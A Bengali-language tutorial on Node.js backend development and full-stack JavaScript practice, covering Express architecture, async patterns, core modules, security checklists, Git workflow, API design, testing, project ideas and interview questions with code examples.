Request ↓ Middleware ↓ Authentication ↓ Controller ↓ Response
Example Express:
app.use((req, res, next) => {
console.log(req.method);
next();
});
function auth(req, res, next) {
const token = req.headers.authorization;
if (!token) {
return res.status(401).json({
message: "Unauthorized"
});
}
next();
}
এখানে middleware protected route-এর আগে authentication check করতে পারে।
Node.js নিজে database নয়। এটি database-এর সাথে communicate করে।
React ↓ Node.js / Express ↓ Database Driver / ORM ↓ Database
Possible databases:
MongoDB PostgreSQL MySQL MariaDB SQLite Redis
তোমার stack-এর জন্য:
React ↓ Node.js ↓ Express ↓ MongoDB / PostgreSQL
খুব practical combination।
অনেক request এলে প্রত্যেক request-এর জন্য নতুন database connection তৈরি করা inefficient হতে পারে। Pool:
Connection Pool ├── Connection 1 ├── Connection 2 ├── Connection 3 └── Connection 4
প্রয়োজনে connection নেওয়া হয় এবং পরে release করা হয়।
Backend-এর জন্য গুরুত্বপূর্ণ:
❌:
const jwtSecret = "123456";
Better:
const jwtSecret = process.env.JWT_SECRET;
Client-এর input blindly trust করবে না।
Client Input ↓ Validation ↓ Sanitization (যেখানে প্রয়োজন) ↓ Business Logic ↓ Database
❌:
password: "mypassword123"
Database-এ plain password রাখা উচিত নয়। Password hashing-এর জন্য সাধারণত:
Argon2 bcrypt scrypt
এর মতো password hashing algorithms ব্যবহৃত হয়।
Node.js ভালো performance দিতে পারে, কিন্তু JavaScript thread-এ heavy CPU কাজ করলে সমস্যা হতে পারে। যেমন:
for (;;) {
// CPU heavy work
}
এটি event loop block করতে পারে। ফলে:
Request A Request B Request C
সব আটকে যেতে পারে।
প্রয়োজনে:
Worker Threads Child Processes Separate Service Queue / Background Worker
ব্যবহার করা যায়। Worker Threads:
Main Thread
│
├── Worker 1
└── Worker 2
Production server বন্ধ করার সময় open resources properly close করা উচিত।
process.on("SIGTERM", async () => {
console.log("Shutting down...");
// close database
// close server
// cleanup resources
process.exit(0);
});
এটি graceful shutdown-এর basic idea।
Simple:
console.log()
console.error()
console.warn()
Node debugging:
node inspect server.js
VS Code debugger-ও ব্যবহার করা যায়।
Production application-এ শুধু:
console.log()
এর উপর নির্ভর না করে structured logging ব্যবহার করা যায়। যেমন:
timestamp level message requestId userId
এর মাধ্যমে production issue trace করা সহজ হয়।
একটি সাধারণ Express project:
project/ │ ├── src/ │ ├── config/ │ ├── controllers/ │ ├── middleware/ │ ├── models/ │ ├── routes/ │ ├── services/ │ ├── utils/ │ └── server.js │ ├── .env ├── .env.example ├── .gitignore ├── package.json └── package-lock.json
এটি একমাত্র correct structure নয়; project অনুযায়ী structure পরিবর্তিত হতে পারে।
তুমি যেহেতু Full Stack Developer হতে চাচ্ছো, এই architecture ভালোভাবে বুঝবে:
USER
│
↓
React App
│
HTTP Request
│
↓
┌──────────────────┐
│ Node + Express │
└──────────────────┘
│
Middleware
│
Controller
│
Service
│
Repository
│
↓
Database
Response:
Database ↓ Repository ↓ Service ↓ Controller ↓ JSON Response ↓ React ↓ UI
User:
Email Password ↓ React Login Form
Request:
POST /api/auth/login
Node:
Route ↓ Validation ↓ Find User ↓ Compare Password ↓ Generate Token/Session ↓ Response
React:
Response ↓ Store appropriate auth state ↓ Dashboard
এখানে Chapter 39-এর অনেক concept একসাথে কাজ করছে:
HTTP Async/Await JSON Modules Environment Variables Error Handling Database Authentication
Promise.all()একসাথে independent কাজ করতে:
const [users, products] = await Promise.all([
getUsers(),
getProducts()
]);
Concept:
getUsers() ─────┐ ├── Promise.all() getProducts() ──┘
একটি কাজ আরেকটির result-এর উপর নির্ভর না করলে এটি useful।
Sequential:
const users = await getUsers();
const products = await getProducts();
এখানে দ্বিতীয় কাজ প্রথমটির পরে শুরু হয়। Parallel:
const [users, products] =
await Promise.all([
getUsers(),
getProducts()
]);
Independent হলে parallel approach latency কমাতে পারে।
Promise.allSettled()যদি সব result দেখতে চাও—even কিছু fail করলেও:
const results = await Promise.allSettled([
getUsers(),
getProducts(),
getOrders()
]);
এটি প্রতিটি operation-এর:
fulfilled rejected
status দেয়।
Node.js শেখার আগে এই JavaScript concepts শক্ত হওয়া উচিত:
✔ Variables ✔ Objects ✔ Arrays ✔ Functions ✔ Closures ✔ Callbacks ✔ Promises ✔ Async/Await ✔ Error Handling ✔ Modules ✔ Destructuring ✔ Spread/Rest ✔ Event Loop ✔ JSON ✔ HTTP
তোমার আগের Chapter-গুলোতে এগুলো already covered হয়েছে।
Node.js Developer হিসেবে অন্তত এগুলো অবশ্যই বুঝবে:
🔥 Node.js Runtime 🔥 V8 🔥 Event Loop 🔥 Non-blocking I/O 🔥 process 🔥 process.env 🔥 CommonJS 🔥 ES Modules 🔥 fs 🔥 path 🔥 events 🔥 EventEmitter 🔥 Buffer 🔥 Streams 🔥 HTTP 🔥 Request / Response 🔥 Async/Await 🔥 Error Handling 🔥 Middleware 🔥 REST API 🔥 Authentication 🔥 Database communication 🔥 Environment Variables 🔥 Security
// Process
console.log(process.version);
// Environment variable
console.log(process.env.PORT);
// Command line
console.log(process.argv);
// File
import fs from "node:fs/promises";
const data = await fs.readFile(
"file.txt",
"utf8"
);
// Path
import path from "node:path";
const file = path.join(
"uploads",
"photo.jpg"
);
// OS
import os from "node:os";
console.log(os.cpus().length);
// EventEmitter
import { EventEmitter } from "node:events";
const emitter = new EventEmitter();
emitter.on("login", name => {
console.log(`${name} logged in`);
});
emitter.emit("login", "Ripon");
// HTTP
import http from "node:http";
const server = http.createServer(
(req, res) => {
res.end("Hello");
}
);
server.listen(3000);
সমস্যা ও লক্ষ্য: node app.js Ripon কমান্ডের মাধ্যমে টার্মিনাল আর্গুমেন্ট গ্রহণ করে 'Hello Ripon' প্রিন্ট করুন। কোনো নাম না দিলে 'Hello Guest' ফলব্যাক দিন।
// app.js
const args = process.argv.slice(2);
const userName = args[0] ?? 'Guest';
console.log(`Hello ${userName}`);
// Verification in terminal:
// $ node app.js Ripon -> Output: Hello Ripon
// $ node app.js -> Output: Hello Guest
সমস্যা ও লক্ষ্য: message.txt ফাইলটি নন-ব্লকিং অ্যাসিনক্রোনাস পদ্ধতিতে পড়ে কনসোলে আউটপুট প্রদর্শন করুন এবং এরর হ্যান্ডেল করুন।
import fs from 'fs/promises';
async function readMessageFile() {
try {
const data = await fs.readFile('message.txt', 'utf-8');
console.log('File Content:
' + data);
} catch (err) {
if (err.code === 'ENOENT') {
console.error('❌ Error: message.txt file does not exist!');
} else {
console.error('❌ Read Error:', err.message);
}
}
}
readMessageFile();
readFileSync ব্যবহার করা উচিত নয়। fs/promises-এর readFile ইভেন্ট লুপকে ফ্রি রেখে ব্যাকগ্রাউন্ড থ্রেডপুলে ফাইল রিড সম্পন্ন করে।সমস্যা ও লক্ষ্য: output.txt ফাইলে 'Hello from Node.js' টেক্সটটি অ্যাসিনক্রোনাসভাবে সেভ করুন।
import fs from 'fs/promises';
async function writeOutputFile() {
try {
const content = 'Hello from Node.js
Created on: ' + new Date().toISOString();
await fs.writeFile('output.txt', content, 'utf-8');
console.log('✅ File successfully written to output.txt');
} catch (err) {
console.error('❌ Write Failed:', err.message);
}
}
writeOutputFile();
{ flag: 'a' } অপশন দেওয়া যায়।সমস্যা ও লক্ষ্য: একটি বড় ফাইল (source.txt) থেকে অন্য ফাইলে (destination.txt) মেমোরি লোড না করে স্ট্রিম পাইপলাইনের মাধ্যমে কপি করুন।
import fs from 'fs';
import { pipeline } from 'stream/promises';
async function copyFileViaStream() {
try {
const sourceStream = fs.createReadStream('source.txt');
const destStream = fs.createWriteStream('destination.txt');
// Modern pipeline with auto-cleanup & backpressure management
await pipeline(sourceStream, destStream);
console.log('✅ File stream copied successfully without memory leak!');
} catch (err) {
console.error('❌ Stream Error:', err.message);
}
}
copyFileViaStream();
সমস্যা ও লক্ষ্য: একটি userRegistered কাস্টম ইভেন্ট তৈরি করুন এবং তাতে লিসেনার অ্যাটাচ করে ইউজার সাইন-আপের সাথে সাথে নোটিফিকেশন লগ প্রিন্ট করুন।
import { EventEmitter } from 'events';
class UserService extends EventEmitter {
register(name, email) {
console.log(`Processing registration for ${name}...`);
// Emit event asynchronously or synchronously
this.emit('userRegistered', { name, email, time: Date.now() });
}
}
const userService = new UserService();
// Listener 1: Welcome Email
userService.on('userRegistered', user => {
console.log(`📧 [Email Service]: Sent welcome mail to ${user.email}`);
});
// Listener 2: Activity Logger
userService.on('userRegistered', user => {
console.log(`📝 [Audit Log]: New user registered: ${user.name}`);
});
userService.register('Ripon', 'ripon@example.com');
সমস্যা ও লক্ষ্য: কোনো এক্সটার্নাল প্যাকেজ ছাড়া পিওর http মডিউল দিয়ে পোর্ট ৩০০০-এ একটি সার্ভার তৈরি করুন যা / এ 'Home Page' এবং /about এ 'About Page' রেসপন্স দেয়।
import http from 'http';
const server = http.createServer((req, res) => {
const { url, method } = req;
res.setHeader('Content-Type', 'text/plain; charset=utf-8');
if (url === '/' && method === 'GET') {
res.statusCode = 200;
res.end('🏠 Welcome to Home Page');
} else if (url === '/about' && method === 'GET') {
res.statusCode = 200;
res.end('ℹ️ Welcome to About Page');
} else {
res.statusCode = 404;
res.end('❌ 404 Route Not Found');
}
});
const PORT = 3000;
server.listen(PORT, () => {
console.log(`🚀 Native HTTP Server listening at http://localhost:${PORT}`);
});
http.createServer এর উপর ভিত্তি করেই তৈরি। নেটিভ রিকোয়েস্ট-রেসপন্স লাইফসাইকেল বোঝা অত্যন্ত গুরুত্বপূর্ণ।সমস্যা ও লক্ষ্য: /api/user রাউটে ক্লায়েন্টকে স্ট্যান্ডার্ড হেডারসহ JSON অবজেক্ট রেসপন্স পাঠান।
import http from 'http';
const server = http.createServer((req, res) => {
if (req.url === '/api/user' && req.method === 'GET') {
const userPayload = {
id: 101,
name: 'Ripon',
role: 'Full Stack Developer',
stack: ['JavaScript', 'Node.js', 'React'],
verified: true
};
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(userPayload));
} else {
res.writeHead(404, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'Endpoint Not Found' }));
}
});
server.listen(3001, () => {
console.log('📡 JSON API Server running at http://localhost:3001/api/user');
});
'Content-Type': 'application/json' হেডার সেট করতে হয় এবং JavaScript অবজেক্টকে JSON.stringify() করে পাঠাতে হয়।সমস্যা ও লক্ষ্য: ডাটাবেস বা এক্সটার্নাল API থেকে ডেটা আনার জন্য একটি অ্যাসিনক্রোনাস ফাংশন লিখুন যা এরর হ্যান্ডলিং ও টাইমাউট সাপোর্ট করে।
// Simulated DB Call with Promise
function fetchDatabaseRecord(id) {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (id > 0) {
resolve({ id, username: `user_${id}`, status: 'ACTIVE' });
} else {
reject(new Error('Invalid record ID provided'));
}
}, 150);
});
}
async function getUserData(id) {
try {
console.log(`Fetching record for ID ${id}...`);
const data = await fetchDatabaseRecord(id);
console.log('✅ Record Retrieved:', data);
return data;
} catch (err) {
console.error('❌ Fetch Failure:', err.message);
return null;
}
}
getUserData(42);
getUserData(-1); // Triggers safe catch block
try/catch ব্লকের ভেতরে রাখা জরুরি, যাতে আনহ্যান্ডল্ড রিজেকশন ঘটে সার্ভার প্রসেস ক্র্যাশ না করে।সমস্যা ও লক্ষ্য: getUsers(), getProducts(), এবং getOrders() তিনটি স্বাধীন অপারেশনকে প্যারালালে এক্সিকিউট করে এক্সিকিউশন টাইম অপ্টিমাইজ করুন।
const fakeFetch = (name, delay) =>
new Promise(res => setTimeout(() => res(`${name} Data [OK]`), delay));
async function fetchDashboardData() {
console.time('Parallel Execution Time');
try {
// Run all 3 asynchronous calls concurrently in parallel
const [users, products, orders] = await Promise.all([
fakeFetch('Users', 200),
fakeFetch('Products', 300),
fakeFetch('Orders', 150)
]);
console.log('Aggregation Results:');
console.log({ users, products, orders });
} catch (err) {
console.error('One or more operations failed:', err);
} finally {
console.timeEnd('Parallel Execution Time'); // ~300ms total, NOT 650ms!
}
}
fetchDashboardData();
Promise.all() ব্যবহার করায় সর্বোচ্চ সময় (~৩০০ms)-এ সবগুলো কল সম্পন্ন হয়।সমস্যা ও লক্ষ্য: Express/Node.js প্যাটার্ন মেনে ইন-মেমোরি ডেটাসহ একটি সম্পূর্ণ ইউজার ম্যানেজমেন্ট CRUD ব্যাকএন্ড সিস্টেম লিখুন।
import http from 'http';
let users = [
{ id: 1, name: 'Ripon', role: 'Admin' },
{ id: 2, name: 'Tanvir', role: 'Editor' }
];
function sendJson(res, status, data) {
res.writeHead(status, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(data));
}
const server = http.createServer((req, res) => {
const { method, url } = req;
// 1. GET /users
if (method === 'GET' && url === '/users') {
return sendJson(res, 200, users);
}
// 2. GET /users/:id
if (method === 'GET' && url.startsWith('/users/')) {
const id = parseInt(url.split('/')[2]);
const user = users.find(u => u.id === id);
if (!user) return sendJson(res, 404, { error: 'User not found' });
return sendJson(res, 200, user);
}
// 3. POST /users
if (method === 'POST' && url === '/users') {
let body = '';
req.on('data', chunk => { body += chunk; });
req.on('end', () => {
try {
const { name, role } = JSON.parse(body);
if (!name) return sendJson(res, 400, { error: 'Name is required' });
const newUser = { id: users.length + 1, name, role: role || 'User' };
users.push(newUser);
return sendJson(res, 201, newUser);
} catch (err) {
return sendJson(res, 400, { error: 'Invalid JSON payload' });
}
});
return;
}
// 4. DELETE /users/:id
if (method === 'DELETE' && url.startsWith('/users/')) {
const id = parseInt(url.split('/')[2]);
const initialLen = users.length;
users = users.filter(u => u.id !== id);
if (users.length === initialLen) return sendJson(res, 404, { error: 'User not found' });
return sendJson(res, 200, { message: `User ${id} deleted successfully` });
}
sendJson(res, 404, { error: 'Route not supported' });
});
server.listen(4000, () => {
console.log('🚀 Complete User CRUD API running at http://localhost:4000/users');
});
পুরো Chapter 39-এর Node.js ব্যাকএন্ড ইকোসিস্টেম একনজরে:
Node.js │ ┌────────────┼────────────┐ ↓ ↓ ↓ V8 Node APIs libuv │ │ │ └────────────┼────────────┘ ↓ Event Loop │ ┌──────────┼──────────┐ ↓ ↓ ↓ HTTP FS Network │ │ │ └──────────┼──────────┘ ↓ Async I/O │ ↓ Express.js │ ┌────────────┼────────────┐ ↓ ↓ ↓ Routes Middleware Controllers │ ↓ Service │ ↓ Database │ ↓ JSON │ ↓ React
Chapter 38: Advanced JavaScript for React (Frontend) ↓ Destructuring, Spread, map/filter, Immutability, Closures, Synthetic Events ↓ Chapter 39: Advanced JavaScript for Node.js (Backend - THIS CHAPTER) ↓ V8, Libuv, Event Loop, Buffer, Streams, fs/path, REST API, Express Middleware ↓ Chapter 40: Real-World Projects, Best Practices & Interview Preparation (Grand Finale) ↓ Production Architecture, Git Workflow, Security Audits, Full-Stack Project & Interview Mastery
৪০টি অধ্যায়ের এই সুদীর্ঘ ও সমৃদ্ধ যাত্রায় আমরা জাভাস্ক্রিপ্ট ফান্ডামেন্টালস থেকে শুরু করে রিয়্যাক্ট ফ্রন্টএন্ড এবং নোড ব্যাকএন্ডের গভীরতম আর্কিটেকচার আয়ত্ত করেছি। এই চূড়ান্ত অধ্যায়ে আমরা পুরো জ্ঞানের বাস্তব সমন্বয় ঘটিয়ে রিয়েল-ওয়ার্ল্ড প্রজেক্ট আর্কিটেকচার, ক্লিন কোড (DRY/KISS/YAGNI), সিকিউরিটি চেকলিস্ট, গিট ওয়ার্কফ্লো, এপিআই ডিজাইন, প্রোডাকশন চেকলিস্ট, ১৫টি প্রধান ইন্টারভিউ প্রশ্নোত্তর এবং লাইভ কোডিং অ্যালগরিদম সমাধান করব।
Tutorial project:
একটা button বানাও button click করলে text change হবে
Real-world project:
User ↓ Frontend ↓ API ↓ Authentication ↓ Business Logic ↓ Database ↓ Response ↓ UI
এখানে শুধু code লিখলেই হবে না। তোমাকে ভাবতে হবে:
Code লেখা শুরু করার আগে প্রথমে বুঝতে হবে:
কী সমস্যা solve করছি?
কারা ব্যবহার করবে?
কী কী functionality লাগবে?
কোন data লাগবে?
কোন stack ব্যবহার করব?
কী protect করতে হবে?
Problem:
Features:
User Registration Login Course Browse Course Details Enrollment Video Watching Progress Tracking Review Admin Dashboard
Architecture:
React ↓ Node.js + Express ↓ PostgreSQL
ধরো feature:
Requirement:
User must be logged in ↓ Course must exist ↓ Already enrolled? ↓ No → Create enrollment ↓ Return success
এভাবে requirement আগে বুঝলে পরে code অনেক clean হয়।
একটি Full Stack application:
Client │ ↓ React │ API Call │ ↓ Node/Express │ ┌─────────┼─────────┐ ↓ ↓ ↓ Route Middleware Controller │ ↓ Service │ ↓ Repository │ ↓ Database
একটি professional backend:
backend/ │ ├── src/ │ ├── config/ │ ├── controllers/ │ ├── middleware/ │ ├── models/ │ ├── routes/ │ ├── services/ │ ├── repositories/ │ ├── utils/ │ ├── validators/ │ ├── app.js │ └── server.js │ ├── tests/ ├── .env ├── .env.example ├── .gitignore ├── package.json └── package-lock.json
Frontend:
frontend/ │ ├── src/ │ ├── components/ │ ├── pages/ │ ├── layouts/ │ ├── hooks/ │ ├── services/ │ ├── utils/ │ ├── context/ │ ├── assets/ │ ├── App.jsx │ └── main.jsx │ ├── public/ ├── package.json └── vite.config.js
Clean Code মানে:
❌ Bad:
function x(a, b) {
return a * b;
}
Better:
function calculateTotalPrice(
price,
quantity
) {
return price * quantity;
}
❌:
const x = 500;
const y = 2;
Better:
const price = 500;
const quantity = 2;
Function: ❌:
function doIt() {}
Better:
function calculateOrderTotal() {}
DRY = Don't Repeat Yourself ধরো:
console.log("User logged in");
console.log("User logged in");
console.log("User logged in");
এভাবে repeated logic থাকলে function:
function logLogin() {
console.log("User logged in");
}
তারপর:
logLogin();
logLogin();
logLogin();
DRY মানে সব duplicate-looking code জোর করে abstraction করা নয়। অতিরিক্ত abstraction code আরও complex করতে পারে।
KISS = Keep It Simple যদি simple solution যথেষ্ট হয়: ❌ unnecessary architecture তৈরি করবে না। Example:
function add(a, b) {
return a + b;
}
এর জন্য 10টি class তৈরি করার দরকার নেই।
YAGNI = You Aren't Gonna Need It যে feature এখন প্রয়োজন নেই, শুধু ভবিষ্যতে লাগতে পারে ভেবে এখনই complex implementation করার দরকার নেই। Example:
তাই শুধু login-এর জন্য:
Google Facebook GitHub Apple Microsoft
সব OAuth একসাথে বানানোর প্রয়োজন নেই যদি requirement না থাকে।
একটি function যেন সবকিছু না করে। ❌:
function registerUser() {
// validate
// database
// password hash
// send email
// generate token
// response
}
Better:
Controller ↓ Validation ↓ Service ↓ Repository ↓ Database
প্রতিটি layer-এর আলাদা responsibility।
Controller সাধারণত request/response handle করে।
async function register(req, res) {
const user = await userService.register(
req.body
);
res.status(201).json(user);
}
Business logic:
async function register(data) {
const existingUser =
await userRepository.findByEmail(
data.email
);
if (existingUser) {
throw new Error(
"User already exists"
);
}
// create user
}
Database access:
async function findByEmail(email) {
return User.findOne({ email });
}
তাহলে:
Controller ↓ Service ↓ Repository ↓ Database
এটি clean architecture-এর একটি practical pattern।
Client থেকে:
{
"email": "hello",
"age": -50
}
আসতে পারে। Server blindly trust করবে না। Validation:
Email valid? Age valid? Required fields? Data type? Length? Allowed values?
function validateAge(age) {
if (
typeof age !== "number" ||
age < 0
) {
throw new Error("Invalid age");
}
}
Real project-এ validation libraries ব্যবহার করা যায়, কিন্তু validation concept নিজে বুঝতে হবে।
Production application-এ error তিনভাবে ভাবো:
Expected Error Unexpected Error Operational Error
Example:
404 → User not found 401 → Authentication required 403 → Permission denied 500 → Unexpected server error
User-কে unnecessary internal details দেখাবে না। ❌:
{
"error": "Database connection failed at /var/app/src/db/index.js line 52..."
}
Better:
{
"message": "Internal server error"
}
Server log-এ বিস্তারিত থাকবে।
API:
try {
const response = await fetch("/api/users");
if (!response.ok) {
throw new Error("Request failed");
}
const data = await response.json();
setUsers(data);
} catch (error) {
setError(error.message);
}
UI:
{loading && <Loading />}
{error && <ErrorMessage />}
{users && <UserList users={users} />}
API state সাধারণত:
Request
│
┌───────┴───────┐
↓ ↓
Success Error
│ │
Data Message
Frontend-এ:
idle loading success error
এই state model খুব useful।
Production JavaScript application-এ:
☑ HTTPS ☑ Input validation ☑ Authentication ☑ Authorization ☑ Password hashing ☑ Secure cookies where appropriate ☑ CSRF protection where relevant ☑ XSS prevention ☑ CORS configuration ☑ Rate limiting ☑ Security headers ☑ Dependency updates ☑ Secrets outside source code
❌ GitHub-এ:
DATABASE_PASSWORD=myRealPassword JWT_SECRET=mySecret
commit করা যাবে না। .gitignore:
.env node_modules/ dist/
এবং:
.env.example
রাখতে পারো:
PORT= DATABASE_URL= JWT_SECRET=
একটি সাধারণ workflow:
Create Branch
↓
Write Code
↓
Test
↓
git add
↓
git commit
↓
git push
↓
Pull Request
↓
Code Review
↓
Merge
❌:
update
❌:
final final new
Better:
feat: add user authentication
fix: handle invalid login credentials
refactor: simplify order service
docs: update API documentation
test: add user service tests
Example:
main │ ├── feature/auth ├── feature/payment ├── feature/dashboard └── fix/login-error
Feature শেষ হলে merge করা যায়।
Good REST API:
GET /api/users GET /api/users/:id POST /api/users PATCH /api/users/:id DELETE /api/users/:id
Resource-oriented design রাখা ভালো।
ধরো database-এ:
1,000,000 users
সব একবারে frontend-এ পাঠানো উচিত নয়। Instead:
GET /api/users?page=1&limit=20
Response:
{
"data": [],
"page": 1,
"limit": 20,
"total": 1000000
}
GET /api/products?search=laptop
Backend:
Request ↓ Validate search ↓ Database query ↓ Pagination ↓ Response
একটি consistent response format helpful হতে পারে: Success:
{
"success": true,
"data": {}
}
Error:
{
"success": false,
"message": "User not found"
}
Project অনুযায়ী response design পরিবর্তিত হতে পারে।
Real-world project-এ:
Unit Tests
↓
Integration Tests
↓
E2E Tests
সব logic শুধু manual test করলে production bug-এর risk বাড়ে।
function add(a, b) {
return a + b;
}
Test:
test("adds two numbers", () => {
expect(add(2, 3)).toBe(5);
});
শুধু normal case test করবে না। Function:
function divide(a, b) {
return a / b;
}
Test:
10 / 2 0 / 2 10 / 0 -10 / 2 decimal values
Edge cases bug ধরতে সাহায্য করে।
Bug হলে random code edit করবে না। এই process follow করো:
1. Reproduce
↓
2. Read Error
↓
3. Identify Location
↓
4. Inspect Variables
↓
5. Find Root Cause
↓
6. Fix
↓
7. Test
↓
8. Prevent Regression
console.log() Smartly Use❌:
console.log("here");
console.log("here2");
console.log("here3");
Better:
console.log({
userId,
requestId,
status
});
এতে debugging সহজ হয়।
Professional project-এ README গুরুত্বপূর্ণ। একটি ভালো README:
Project Name
Description
Features
Tech Stack
Installation
Environment Variables
Usage
API Documentation
Screenshots
Deployment
Contributing
License
README:
git clone <repository>
cd project
npm install
তারপর:
npm run dev
Environment:
PORT=5000 DATABASE_URL= JWT_SECRET=
Typical full-stack deployment:
GitHub │ ├──────────────┐ ↓ ↓ Frontend Backend ↓ ↓ Vercel Server Platform ↓ Database
Deployment platform project অনুযায়ী পরিবর্তিত হতে পারে।
Deploy করার আগে:
☑ Environment variables configured ☑ Secrets protected ☑ Production build tested ☑ API URLs correct ☑ CORS configured ☑ Database connected ☑ Error handling ☑ Logging ☑ Authentication tested ☑ Authorization tested ☑ Input validation ☑ Rate limiting where needed ☑ HTTPS ☑ Tests passing ☑ README updated
এটি beginner → intermediate project।
Create Todo Read Todo Update Todo Delete Todo Mark Complete Filter Search
React Node.js Express MongoDB/PostgreSQL
Architecture:
React ↓ REST API ↓ Express ↓ Todo Service ↓ Database
Register
Login
Logout
Password Hashing
Session/JWT
Protected Routes
Role-based Access
Password Reset
Architecture:
React ↓ Login API ↓ Validation ↓ Auth Service ↓ Database
Register/Login
Create Post
Edit Post
Delete Post
Comment
Like
Search
Pagination
Admin
Database entities:
User
Post
Comment
Like
এটি portfolio-এর জন্য অত্যন্ত useful project category।
Authentication Products Categories Search Filter Cart Wishlist Checkout Orders Payment Admin Dashboard
Architecture:
React │ ↓ API │ Node + Express │ ┌───────────┼───────────┐ ↓ ↓ ↓ Product Order User Service Service Service │ │ │ └───────────┼───────────┘ ↓ Database
তোমার portfolio-তে এই ধরনের project খুব useful হতে পারে।
Authentication Dashboard Charts Users Analytics Search Filter Pagination CRUD Role-based Access API Integration
Frontend:
React
Backend:
Node Express
Database:
PostgreSQL / MongoDB
var, let, const পার্থক্য কী?সংক্ষেপে:
var → function scoped let → block scoped const → block scoped + reassignment করা যায় না
== বনাম ===5 == "5" // true
5 === "5" // false
Modern code-এ সাধারণত === preferred।
null বনাম undefinedundefined → value assign হয়নি / absent null → intentionally empty
States:
pending fulfilled rejected
Question:
console.log("A");
setTimeout(() => {
console.log("B");
}, 0);
Promise.resolve().then(() => {
console.log("C");
});
console.log("D");
Output:
A D C B
কারণ:
Synchronous ↓ Microtask ↓ Task
map() বনাম forEach()map()নতুন array return করে।
const result = numbers.map(
n => n * 2
);
forEach()মূলত side effect-এর জন্য iteration করে এবং meaningful array return করে না।
filter() বনাম find()filter → সব matching elements find → প্রথম matching element
map() বনাম reduce()map ↓ প্রতিটি element transform ↓ নতুন array
reduce ↓ অনেক value process ↓ একটি accumulated result
Shallow:
const copy = {
...user
};
Nested reference share করতে পারে। Deep:
const copy =
structuredClone(user);
Nested structures-এর independent copy তৈরি করতে পারে, supported data types-এর সীমার মধ্যে।
thisthis-এর value context-এর উপর নির্ভর করে। Object method:
const user = {
name: "Ripon",
greet() {
console.log(this.name);
}
};
Arrow function-এর নিজস্ব this binding নেই; এটি surrounding lexical this ব্যবহার করে। 🔥 Interview-এ এটি খুব common।
Debounce ↓ বারবার event ↓ শেষ event-এর পর execute
Search box-এর জন্য useful।
Throttle ↓ বারবার event ↓ নির্দিষ্ট interval-এ execute
Scroll/resize-এর জন্য useful।
Event child থেকে parent-এর দিকে propagate করতে পারে।
button ↓ div ↓ body ↓ document
Parent-এর একটি event listener দিয়ে multiple child-এর event handle করা। Benefits:
Promise.all()await Promise.all([
task1(),
task2(),
task3()
]);
সব promise fulfill হলে result পাওয়া যায়। একটি reject করলে Promise.all() reject হয়। যদি প্রত্যেকটার result আলাদাভাবে চাই—even failure সহ:
Promise.allSettled()
async/awaitasync function একটি Promise return করে।
async function test() {
return 10;
}
Conceptually:
test().then(value => {
console.log(value);
});
মূল কারণগুলোর মধ্যে:
JavaScript everywhere
Non-blocking I/O
Large npm ecosystem
Good for API/backend
Real-time applications
Fast development
তবে সব ধরনের workload-এর জন্য Node.js automatically best নয়।
সঠিকভাবে বলবে:
শুধু:
বললে incomplete answer।
Browser:
DOM window document Web APIs
Node:
process fs http path events streams
function reverseString(str) {
return str
.split("")
.reverse()
.join("");
}
console.log(
reverseString("Ripon")
);
Output:
nopiR
function isPalindrome(str) {
const reversed = str
.split("")
.reverse()
.join("");
return str === reversed;
}
console.log(
isPalindrome("madam")
);
Output:
true
function findMax(numbers) {
return Math.max(...numbers);
}
console.log(
findMax([10, 50, 20])
);
Output:
50
function removeDuplicates(array) {
return [...new Set(array)];
}
console.log(
removeDuplicates([
1, 2, 2, 3, 3
])
);
Output:
[1, 2, 3]
function countFrequency(items) {
const result = {};
for (const item of items) {
result[item] =
(result[item] || 0) + 1;
}
return result;
}
console.log(
countFrequency([
"a",
"b",
"a",
"c",
"a"
])
);
Output:
{
a: 3,
b: 1,
c: 1
}
app.js
হাজার হাজার line। Better modular architecture।
Client data blindly trust করা।
.env commit করা।
সব জায়গায়:
await something();
কিন্তু failure handling নেই।
React component-এ:
1000+ lines
সব logic এক জায়গায়।
React state/props structure না বুঝে update করা।
সবকিছু manual testing-এর উপর নির্ভর করা।
Simple problem-এর জন্য unnecessarily complex architecture।
Code বুঝে না লিখে শুধু tutorial থেকে copy করা।
একজন developer শুধু:
এটা ভাববে না। বরং:
Problem কী? ↓ Best simple solution কী? ↓ Data কীভাবে flow করবে? ↓ Security কী? ↓ Performance কেমন? ↓ Maintain করা সহজ? ↓ Test করা যাবে? ↓ Deploy করা যাবে?
এখন নিজের knowledge check করো।
☑ Variables ☑ Data Types ☑ Operators ☑ Conditions ☑ Loops ☑ Functions
☑ Strings ☑ Arrays ☑ Objects ☑ Map ☑ Set ☑ WeakMap ☑ WeakSet
☑ Prototype ☑ Classes ☑ OOP ☑ Closures ☑ IIFE ☑ Iterators ☑ Generators ☑ Symbols ☑ Proxy ☑ Reflect
☑ Callback ☑ Promise ☑ Async/Await ☑ Event Loop ☑ Microtask ☑ Task
☑ DOM ☑ Events ☑ Forms ☑ Storage ☑ Fetch ☑ Browser APIs
☑ Destructuring ☑ Spread ☑ Rest ☑ Optional Chaining ☑ Nullish Coalescing ☑ Modern Array Methods
☑ NPM ☑ Testing ☑ Performance ☑ Security ☑ Design Patterns ☑ Git ☑ API Design
☑ Component ☑ Props ☑ State ☑ Hooks ☑ Rendering ☑ API integration
☑ Runtime ☑ Event Loop ☑ fs ☑ path ☑ events ☑ streams ☑ HTTP ☑ process ☑ Environment variables
নিজেকে এভাবে evaluate করতে পারো:
Variables Functions Conditions Loops Arrays Objects
DOM Events Async Promises Fetch Modules OOP Array methods
Closures Prototype Event Loop Memory Performance Security Design Patterns Testing
Architecture Scalability Production debugging Security Testing strategy Performance optimization API design System design Code review Deployment
JAVASCRIPT │ ┌───────────────────┼───────────────────┐ ↓ ↓ ↓ Fundamentals Advanced Browser │ │ │ Variables / Types Prototype DOM Functions Closures Events Loops OOP Forms Arrays Async Storage Objects Event Loop Fetch │ │ │ └───────────────────┼───────────────────┘ ↓ Modern JavaScript │ ┌───────────────────┼───────────────────┐ ↓ ↓ ↓ Modules NPM Testing │ │ │ ↓ ↓ ↓ React Node.js Performance │ │ │ └───────────────────┼───────────────────┘ ↓ Full Stack JS │ ┌─────────┴─────────┐ ↓ ↓ Frontend Backend │ │ React Node │ Express │ │ └─────────┬─────────┘ ↓ Database │ ↓ Real Projects │ ↓ Production Apps │ ↓ Professional Developer
